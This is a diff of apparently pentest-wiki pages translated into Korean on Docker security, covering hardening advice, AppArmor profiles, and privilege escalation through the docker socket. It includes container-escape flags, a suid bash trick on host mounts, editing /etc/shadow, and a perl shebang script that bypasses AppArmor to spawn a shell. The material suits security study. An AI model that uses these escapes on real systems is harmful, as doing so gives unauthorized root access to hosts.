- [**모든 기능을 제거하십시오**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) 및 필요한 기능만 활성화하십시오** (`--cap-add=...`). 많은 작업 부하에는 기능이 필요하지 않으며, 이를 추가하면 잠재적인 공격 범위가 증가합니다.
- [**“no-new-privileges” 보안 옵션을 사용하십시오**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **.** 이는 프로세스가 suid 바이너리를 통해 더 많은 권한을 얻지 못하도록 방지합니다.
- [**컨테이너에 사용할 수 있는 리소스를 제한하십시오**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** 리소스 제한은 서비스 거부 공격으로부터 머신을 보호할 수 있습니다.
- **seccomp** [**조정하십시오**](https://docs.docker.com/engine/security/seccomp/), **AppArmor** [**(또는 SELinux)**](https://docs.docker.com/engine/security/apparmor/) 프로파일을 조정하여 컨테이너에 필요한 최소한의 작업 및 시스템 호출만 허용하십시오.
- **공식 Docker 이미지를 사용하고** [**서명을 요구하십시오**](https://docs.docker.com/docker-hub/official_images/) **또는 이를 기반으로 직접 빌드하십시오.** 백도어가 있는 이미지를 상속하거나 사용하지 마십시오. 또한 루트 키와 비밀번호를 안전한 장소에 보관하십시오. Docker는 UCP로 키를 관리할 계획이 있습니다.
- **정기적으로** **이미지를 재빌드하여 호스트와 이미지에 보안 패치를 적용하십시오.**
- **비밀을 현명하게 관리하여 공격자가 접근하기 어렵게 하십시오.**
- Docker 데몬을 **노출하는 경우 HTTPS를 사용하십시오** 클라이언트 및 서버 인증과 함께.
- Dockerfile에서 **ADD 대신 COPY를 선호하십시오.** ADD는 자동으로 압축된 파일을 추출하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 경우 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 하십시오.
- 각 마이크로 서비스에 대해 **별도의 컨테이너를 가지십시오.**
- **컨테이너 내부에 ssh를 두지 마십시오.** “docker exec”를 사용하여 컨테이너에 ssh할 수 있습니다.
- **더 작은** 컨테이너 **이미지를 가지십시오.**
## Docker Breakout / Privilege Escalation
## Docker 탈출 / 권한 상승
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**:
당신이 **docker 컨테이너 내부에 있거나** **docker 그룹의 사용자에 접근할 수 있다면**, **탈출하고 권한을 상승시키려고 시도할 수 있습니다**:
{{#ref}}
docker-breakout-privilege-escalation/
{{#endref}}
## Docker Authentication Plugin Bypass
## Docker 인증 플러그인 우회
If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:**
Docker 소켓에 접근하거나 **docker 그룹의 사용자에 접근할 수 있지만** Docker 인증 플러그인에 의해 행동이 제한되고 있다면, **우회할 수 있는지 확인하십시오**:
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## Hardening Docker
## Docker 강화
- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
- 도구 [**docker-bench-security**](https://github.com/docker/docker-bench-security)는 프로덕션에서 Docker 컨테이너를 배포할 때의 수십 가지 일반적인 모범 사례를 확인하는 스크립트입니다. 테스트는 모두 자동화되어 있으며, [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)을 기반으로 합니다.\
Docker를 실행하는 호스트 또는 충분한 권한이 있는 컨테이너에서 도구를 실행해야 합니다. **README에서 실행 방법을 확인하십시오:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## References
## 참고 문헌
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
@ -421,12 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Abusing Docker Socket for Privilege Escalation
# Docker 소켓을 이용한 권한 상승
{{#include ../../../banners/hacktricks-training.md}}
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges:
때때로 **docker 소켓에 접근**할 수 있고 이를 사용하여 **권한을 상승**시키고 싶을 때가 있습니다. 일부 작업은 매우 의심스러울 수 있으므로 피하고 싶을 수 있습니다. 여기서는 권한 상승에 유용할 수 있는 다양한 플래그를 찾을 수 있습니다:
### Via mount
### 마운트를 통한 방법
You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\
You could also **abuse a mount to escalate privileges** inside the container.
루트로 실행 중인 컨테이너에서 **파일 시스템**의 다양한 부분을 **마운트**하고 **접근**할 수 있습니다.\
컨테이너 내부에서 권한을 상승시키기 위해 **마운트를 악용**할 수도 있습니다.
- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.**
- If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt`
- Run `fdisk -l` in the host to find the `</dev/sda1>` device to mount
- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**.
- **`-v /:/host`** -> 호스트 파일 시스템을 컨테이너에 마운트하여 **호스트 파일 시스템을 읽을 수 있습니다.**
- 호스트에 있는 것처럼 느끼고 싶지만 컨테이너에 있는 경우, 다음과 같은 플래그를 사용하여 다른 방어 메커니즘을 비활성화할 수 있습니다:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 이전 방법과 유사하지만 여기서는 **디바이스 디스크를 마운트**하고 있습니다. 그런 다음, 컨테이너 내부에서 `mount /dev/sda1 /mnt`를 실행하면 **/mnt**에서 **호스트 파일 시스템에 접근**할 수 있습니다.
- 호스트에서 `fdisk -l`을 실행하여 마운트할 `</dev/sda1>` 디바이스를 찾습니다.
- **`-v /tmp:/host`** -> 어떤 이유로 호스트에서 **특정 디렉토리만 마운트**할 수 있고 호스트 내부에 접근할 수 있는 경우, 이를 마운트하고 마운트된 디렉토리에 **suid**가 있는 **`/bin/bash`**를 생성하여 **호스트에서 실행하고 루트로 상승**할 수 있습니다.
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> `/tmp` 폴더를 마운트할 수 없을 수도 있지만 **다른 쓰기 가능한 폴더**를 마운트할 수 있다는 점에 유의하세요. 쓰기 가능한 디렉토리는 `find / -writable -type d 2>/dev/null`를 사용하여 찾을 수 있습니다.
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **리눅스 머신의 모든 디렉토리가 suid 비트를 지원하는 것은 아닙니다!** suid 비트를 지원하는 디렉토리를 확인하려면 `mount | grep -v "nosuid"`를 실행하세요. 예를 들어 일반적으로 `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup`, `/var/lib/lxcfs`는 suid 비트를 지원하지 않습니다.
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> 또한 **`/etc`** 또는 **구성 파일이 포함된 다른 폴더**를 마운트할 수 있는 경우, 컨테이너에서 루트로 이를 변경하여 **호스트에서 악용**하고 권한을 상승시킬 수 있습니다 (예: `/etc/shadow` 수정).
### Escaping from the container
### 컨테이너에서 탈출하기
- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work.
- **`--privileged`** -> 이 플래그를 사용하면 [컨테이너의 모든 격리를 제거합니다](docker-privileged.md#what-affects). [루트로 권한 상승하기 위한 탈출 기술](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)을 확인하세요.
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [권한을 악용하여 상승시키기 위해](../linux-capabilities.md), **해당 권한을 컨테이너에 부여하고** 익스플로잇이 작동하지 못하게 하는 다른 보호 방법을 비활성화합니다.
### Curl
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page:
이 페이지에서는 docker 플래그를 사용하여 권한을 상승시키는 방법에 대해 논의했습니다. **curl** 명령을 사용하여 이러한 방법을 악용하는 **방법을 찾을 수 있습니다**:
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,31 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions.
AppArmor는 **프로그램별 프로필을 통해 프로그램에 사용할 수 있는 리소스를 제한하도록 설계된 커널 향상 기능**으로, 접근 제어 속성을 사용자 대신 프로그램에 직접 연결하여 강제 접근 제어(MAC)를 효과적으로 구현합니다. 이 시스템은 **부팅 중에 프로필을 커널에 로드**하여 작동하며, 이러한 프로필은 프로그램이 접근할 수 있는 리소스(예: 네트워크 연결, 원시 소켓 접근 및 파일 권한)를 규정합니다.
There are two operational modes for AppArmor profiles:
AppArmor 프로필에는 두 가지 운영 모드가 있습니다:
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd.
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions.
- **강제 모드**: 이 모드는 프로필 내에서 정의된 정책을 적극적으로 시행하며, 이러한 정책을 위반하는 행동을 차단하고 syslog 또는 auditd와 같은 시스템을 통해 위반 시도를 기록합니다.
- **불만 모드**: 강제 모드와 달리 불만 모드는 프로필의 정책에 반하는 행동을 차단하지 않습니다. 대신, 이러한 시도를 정책 위반으로 기록하되 제한을 시행하지 않습니다.
### Components of AppArmor
### AppArmor의 구성 요소
- **Kernel Module**: Responsible for the enforcement of policies.
- **Policies**: Specify the rules and restrictions for program behavior and resource access.
- **Parser**: Loads policies into the kernel for enforcement or reporting.
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor.
- **커널 모듈**: 정책 시행을 담당합니다.
- **정책**: 프로그램 동작 및 리소스 접근에 대한 규칙과 제한을 지정합니다.
- **파서**: 정책을 커널에 로드하여 시행 또는 보고합니다.
- **유틸리티**: AppArmor와 상호작용하고 관리하기 위한 인터페이스를 제공하는 사용자 모드 프로그램입니다.
### Profiles path
### 프로필 경로
Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\
With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder.
AppArmor 프로필은 일반적으로 _**/etc/apparmor.d/**_에 저장됩니다.\
`sudo aa-status`를 사용하면 일부 프로필에 의해 제한된 바이너리를 나열할 수 있습니다. 나열된 각 바이너리의 경로에서 문자 "/"를 점으로 변경하면 언급된 폴더 내의 AppArmor 프로필 이름을 얻을 수 있습니다.
For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_
### Commands
예를 들어, _/usr/bin/man_에 대한 **AppArmor** 프로필은 _/etc/apparmor.d/usr.bin.man_에 위치합니다.
### 명령어
```bash
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
@ -36,47 +35,41 @@ aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies
```
## 프로필 생성
## Creating a profile
- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files.
- To indicate the access the binary will have over **files** the following **access controls** can be used:
- **r** (read)
- **w** (write)
- **m** (memory map as executable)
- **k** (file locking)
- **l** (creation hard links)
- **ix** (to execute another program with the new program inheriting policy)
- **Px** (execute under another profile, after cleaning the environment)
- **Cx** (execute under a child profile, after cleaning the environment)
- **Ux** (execute unconfined, after cleaning the environment)
- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \<tunables/global> to the profile file)
- **Deny rules are supported to override allow rules**.
- 영향을 받는 실행 파일을 나타내기 위해 **절대 경로 및 와일드카드**가 파일을 지정하는 데 허용됩니다.
- 바이너리가 **파일**에 대해 가질 접근을 나타내기 위해 다음 **접근 제어**를 사용할 수 있습니다:
- **r** (읽기)
- **w** (쓰기)
- **m** (실행 가능한 메모리 맵)
- **k** (파일 잠금)
- **l** (하드 링크 생성)
- **ix** (새 프로그램이 정책을 상속받아 다른 프로그램을 실행)
- **Px** (환경을 정리한 후 다른 프로필에서 실행)
- **Cx** (환경을 정리한 후 자식 프로필에서 실행)
- **Ux** (환경을 정리한 후 제한 없이 실행)
- **변수**는 프로필에서 정의할 수 있으며 프로필 외부에서 조작할 수 있습니다. 예: @{PROC} 및 @{HOME} (프로필 파일에 #include \<tunables/global> 추가)
- **허용 규칙을 무시하기 위해 거부 규칙이 지원됩니다**.
### aa-genprof
To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\
You just need to run:
프로필 생성을 쉽게 시작하기 위해 apparmor가 도움을 줄 수 있습니다. **apparmor가 바이너리에 의해 수행된 작업을 검사하고 어떤 작업을 허용하거나 거부할지 결정할 수 있게 해줍니다**.\
단지 다음을 실행하면 됩니다:
```bash
sudo aa-genprof /path/to/binary
```
Then, in a different console perform all the actions that the binary will usually perform:
그런 다음, 다른 콘솔에서 바이너리가 일반적으로 수행할 모든 작업을 수행합니다:
```bash
/path/to/binary -a dosomething
```
Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_
그런 다음 첫 번째 콘솔에서 "**s**"를 누르고 기록된 작업에서 무시할지, 허용할지 또는 다른 작업을 선택합니다. 완료되면 "**f**"를 눌러 새 프로필이 _/etc/apparmor.d/path.to.binary_에 생성됩니다.
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
> 화살표 키를 사용하여 허용/거부/기타 작업을 선택할 수 있습니다.
### aa-easyprof
You can also create a template of an apparmor profile of a binary with:
이진 파일의 apparmor 프로필 템플릿을 다음과 같이 생성할 수 있습니다:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary
# No template variables specified
"/path/to/binary" {
#include <abstractions/base>
#include <abstractions/base>
# No abstractions specified
# No abstractions specified
# No policy groups specified
# No policy groups specified
# No read paths specified
# No read paths specified
# No write paths specified
# No write paths specified
}
```
> [!NOTE]
> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example.
You can then **enforce** the new profile with
> 기본적으로 생성된 프로필에서는 아무것도 허용되지 않으므로 모든 것이 거부됩니다. 예를 들어, 이진 파일이 `/etc/passwd`를 읽을 수 있도록 `/etc/passwd r,`와 같은 줄을 추가해야 합니다.
그런 다음 **enforce** 새 프로필을 사용하여
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### 로그에서 프로필 수정
### Modifying a profile from logs
The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions:
다음 도구는 로그를 읽고 사용자가 감지된 금지된 작업 중 일부를 허용할 것인지 물어봅니다:
```bash
sudo aa-logprof
```
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
### Managing a Profile
> 화살표 키를 사용하여 허용/거부/기타 원하는 항목을 선택할 수 있습니다.
### 프로필 관리
```bash
#Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Logs
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
You can also get this information using:
이 정보를 다음을 사용하여 얻을 수도 있습니다:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -160,126 +143,105 @@ Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Docker의 Apparmor
## Apparmor in Docker
Note how the profile **docker-profile** of docker is loaded by default:
docker의 프로파일 **docker-profile**이 기본적으로 로드되는 방식을 주목하세요:
```bash
sudo aa-status
apparmor module is loaded.
50 profiles are loaded.
13 profiles are in enforce mode.
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
```
기본적으로 **Apparmor docker-default 프로필**은 [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)에서 생성됩니다.
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**docker-default 프로필 요약**:
**docker-default profile Summary**:
- **Access** to all **networking**
- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \<abstractions/base> )
- **Writing** to any **/proc** file is **not allowed**
- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access
- **Mount** is **not allowed**
- **Ptrace** can only be run on a process that is confined by **same apparmor profile**
Once you **run a docker container** you should see the following output:
- 모든 **네트워킹**에 대한 **접근**
- **능력**이 정의되어 있지 않음 (그러나 일부 능력은 기본 기본 규칙을 포함하여 올 수 있음, 즉 #include \<abstractions/base>)
- **/proc** 파일에 대한 **쓰기**는 **허용되지 않음**
- /**proc** 및 /**sys**의 다른 **하위 디렉토리**/**파일**에 대한 읽기/쓰기/잠금/링크/실행 접근이 **거부됨**
- **마운트**는 **허용되지 않음**
- **Ptrace**는 **같은 apparmor 프로필**에 의해 제한된 프로세스에서만 실행할 수 있음
**docker 컨테이너를 실행하면** 다음 출력을 볼 수 있어야 합니다:
```bash
1 processes are in enforce mode.
docker-default (825)
docker-default (825)
```
Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access:
**apparmor는 기본적으로 컨테이너에 부여된 권한을 차단합니다.** 예를 들어, **SYS_ADMIN 권한이 부여되더라도 /proc 내부에 쓰기 권한을 차단할 수 있습니다.** 기본적으로 docker apparmor 프로필이 이 접근을 거부하기 때문입니다:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
You need to **disable apparmor** to bypass its restrictions:
You need to **disable apparmor** to bypass its restrictions:
당신은 제한을 우회하기 위해 **apparmor**를 비활성화해야 합니다:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
기본적으로 **AppArmor**는 **컨테이너가** 내부에서 폴더를 마운트하는 것을 **금지합니다**, 심지어 SYS_ADMIN 권한이 있어도 그렇습니다.
Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability.
컨테이너에 **권한**을 **추가/제거**할 수 있지만 (여전히 **AppArmor** 및 **Seccomp**와 같은 보호 방법에 의해 제한됩니다):
Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**):
- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap
- `--cap-add=ALL` give all caps
- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE`
- `--cap-add=SYS_ADMIN` `SYS_ADMIN` 권한 부여
- `--cap-add=ALL` 모든 권한 부여
- `--cap-drop=ALL --cap-add=SYS_PTRACE` 모든 권한을 제거하고 `SYS_PTRACE`만 부여
> [!NOTE]
> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**.
> 일반적으로 **docker** 컨테이너 **내부**에서 **특권 권한**을 **찾았지만** **익스플로잇의 일부가 작동하지 않는** 경우, 이는 docker **apparmor가 이를 방지하고 있기 때문입니다**.
### Example
### 예시
(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added:
(예시는 [**여기**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)에서 가져옴)
AppArmor 기능을 설명하기 위해, 다음 줄을 추가하여 새로운 Docker 프로필 “mydocker”를 생성했습니다:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
To activate the profile, we need to do the following:
프로필을 활성화하려면 다음을 수행해야 합니다:
```
sudo apparmor_parser -r -W mydocker
```
To list the profiles, we can do the following command. The command below is listing my new AppArmor profile.
프로필을 나열하려면 다음 명령을 실행할 수 있습니다. 아래 명령은 내 새로운 AppArmor 프로필을 나열하고 있습니다.
```
$ sudo apparmor_status | grep mydocker
mydocker
mydocker
```
As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”.
아래와 같이, AppArmor 프로파일이 “/etc”에 대한 쓰기 접근을 방지하고 있기 때문에 “/etc/”를 변경하려고 할 때 오류가 발생합니다.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Bypass1
You can find which **apparmor profile is running a container** using:
어떤 **apparmor 프로파일이 컨테이너를 실행하고 있는지** 확인하려면 다음을 사용하세요:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Then, you can run the following line to **find the exact profile being used**:
그런 다음, 다음 명령어를 실행하여 **사용 중인 정확한 프로필을 찾을 수 있습니다**:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
이상한 경우에 **apparmor 도커 프로필을 수정하고 다시 로드할 수 있습니다.** 제한을 제거하고 "우회"할 수 있습니다.
### AppArmor Docker Bypass2
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
**AppArmor는 경로 기반**입니다. 이는 **`/proc`**와 같은 디렉토리 내의 파일을 **보호**하고 있을지라도, **컨테이너가 어떻게 실행될지를 구성할 수 있다면**, 호스트의 proc 디렉토리를 **`/host/proc`**에 **마운트**할 수 있으며, 그러면 **더 이상 AppArmor에 의해 보호되지 않습니다**.
### AppArmor Shebang Bypass
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
[**이 버그**](https://bugs.launchpad.net/apparmor/+bug/1911431)에서 **특정 리소스와 함께 perl의 실행을 방지하고 있다 하더라도**, 첫 번째 줄에 **`#!/usr/bin/perl`**을 **지정**한 셸 스크립트를 생성하고 **파일을 직접 실행하면**, 원하는 것을 실행할 수 있는 예를 볼 수 있습니다. 예:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -289,5 +251,4 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,75 +1,70 @@
{{#include ../../../banners/hacktricks-training.md}}
**Dockers** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Dockers Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon.
**Docker**의 기본 **권한 부여** 모델은 **모두 또는 없음**입니다. Docker 데몬에 접근할 수 있는 권한이 있는 사용자는 **모든** Docker 클라이언트 **명령**을 **실행**할 수 있습니다. Docker의 Engine API를 사용하여 데몬에 연락하는 호출자에게도 동일하게 적용됩니다. **더 큰 접근 제어**가 필요한 경우, **권한 부여 플러그인**을 생성하고 이를 Docker 데몬 구성에 추가할 수 있습니다. 권한 부여 플러그인을 사용하면 Docker 관리자가 Docker 데몬에 대한 접근을 관리하기 위한 **세분화된 접근** 정책을 **구성**할 수 있습니다.
# Basic architecture
# 기본 아키텍처
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**.
Docker Auth 플러그인은 **외부** **플러그인**으로, 요청된 **작업**을 **허용/거부**할 수 있습니다. 이는 요청한 **사용자**와 요청된 **작업**에 따라 달라집니다.
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[다음 정보는 문서에서 가져온 것입니다](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request.
**HTTP** **요청**이 CLI를 통해 또는 Engine API를 통해 Docker **데몬**에 전달되면, **인증** **하위 시스템**이 설치된 **인증** **플러그인**(들)에게 요청을 전달합니다. 요청에는 사용자(호출자)와 명령 컨텍스트가 포함됩니다. **플러그인**은 요청을 **허용**할지 **거부**할지를 결정하는 책임이 있습니다.
The sequence diagrams below depict an allow and deny authorization flow:
아래의 시퀀스 다이어그램은 허용 및 거부 권한 부여 흐름을 나타냅니다:
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png)
